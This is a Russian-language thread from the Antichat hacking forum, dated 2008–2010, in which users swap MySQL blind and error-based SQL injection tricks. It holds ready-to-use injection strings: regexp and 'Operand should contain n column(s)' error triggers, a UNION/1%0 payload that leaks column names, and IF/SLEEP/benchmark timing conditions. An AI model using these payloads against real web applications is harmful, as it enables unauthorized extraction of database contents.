Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

26.01.2008, 02:59
|
|
Пачка маргарина
Регистрация: 14.07.2005
Сообщений: 964
Провел на форуме: 4646474
Репутация:
1424
|
|
Сообщение от ZaCo
статья стоящая, жаль что была проигнорирована большинством.
добавлю к сообщению Scipio - твой способ подходит исключительно для операции select, предлагаю вариант, который может использоваться в любых логических условиях и без использования подзапросов:
Код:
select username from users
where "x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")) /*в случае else строка выражения выйдет за максимальный предел квантификатора*/
естественно методов "провокации" в регекспах довольно много, но достаточно только одного.
чето у меня не выдает ошибки ни как если вместо @@version использую колонку
типа:
SELECT * FROM `users` WHERE ID=1 and "x" regexp concat("x{1,25", if(ID=0, "5}", "6}"))
просто пустое значение возвращает (
что я делаю не так?
|
|
|

28.01.2009, 16:35
|
|
Новичок
Регистрация: 22.01.2009
Сообщений: 7
Провел на форуме: 2376
Репутация:
1
|
|
если подставить выражение 1=1 ошибки не будет
пример
SELECT * FROM `table1` order by (select+if(substring(version(),1,1)=4,1,(select 1 union select id)))
если версия мускула 4, то сортировка пойдет по полю ид в обратном порядке, т.к. -id*1 (aka true) будет -id, а -id*0 (ака false) будет 0, ну и с бенчмарком тоже самое
из всех предложенных вариантов вариант с иф - бенчмарк самый универсальный, но самый долгий
|
|
|

24.03.2009, 12:27
|
|
Познающий
Регистрация: 01.08.2008
Сообщений: 42
Провел на форуме: 670601
Репутация:
50
|
|
некоторые альтернативные запросы вызывающие more1row показаны в докладе(слайд 25) http://www.slideshare.net/sumsid1234/owasp-au-rev4?type=powerpoint
|
|
|

27.04.2009, 13:58
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Сообщение от Elekt
пришло на мыло дополнение
Hi Elekt,
i write this e-mail because i found really very very good your
paper about benchmark alternative in exploiting blind sql injection.
I would contribute with your research with this simple trick.
If u type : ... AND (SELECT 1,2,3,4)=1
mysql returns "Operand should contain 4 column(s)". It can be used as
an alternative of your method !
see ya
Luca
Неработает это дополнение.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|

27.04.2009, 15:07
|
|
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме: 7452489
Репутация:
1359
|
|
ну как бы работает, или ты не об этом ?
Код:
mysql> select 1 from information_schema.tables where (select 1,2,3)=1;
ERROR 1241 (21000): Operand should contain 3 column(s)
|
|
|

29.04.2009, 00:11
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Сообщение от geezer.code
ну как бы работает, или ты не об этом ?
Код:
mysql> select 1 from information_schema.tables where (select 1,2,3)=1;
ERROR 1241 (21000): Operand should contain 3 column(s)
Дык суть то не в том, чтобы ошибка нарисовалась, а в том чтобы она в if'е сработала. А эта ошибка отображается всегда, и в случае true и в случае false.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|

26.11.2009, 22:13
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
В продолжение темы насчет ошибки "Operand should contain n column(s)": http://websec.wordpress.com/2009/11/26/mysql-table-and-column-names-update-2/
В посте идет речь о новом способе получения имен колонок, если недоступна БД information_schema. Сначала необходимо определить количество колонок с помощью способа, который упоминался выше:
Код:
' AND (SELECT * FROM USER_TABLE) = (1)-- -
-> Operand should contain 7 column(s)
Теперь используя UNION и 1%0 можно извлечь имена колонок через ошибку:
Код:
' AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1%0,2,3,4,5,6,7 LIMIT 1)-- -
-> Column 'usr_u_id' cannot be null
Последовательно перебирая колонки, можно получить имя каждой, если она имеет параметр NOT NULL. Кроме того, как заметил автор, этот баг был исправлен в MySQL 5.1.
По запросу видно, что будет работать только с MySQL >= 4.1, хотя и это надо проверить.
|
|
|

05.01.2010, 23:55
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме: 2223440
Репутация:
648
|
|
Кстати, если взглянуть на старый метод с benchmark'ом, я не очень понимаю, зачем надо было использовать именно его, ведь можно использовать конструкцию с функцией sleep().
Код:
IF(1=2, 1, SLEEP(1))
Так нагрузки не будет на сервер.
|
|
|

06.01.2010, 00:37
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
SLEEP() появился в MySQL 5, поэтому его не всегда можно использовать
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|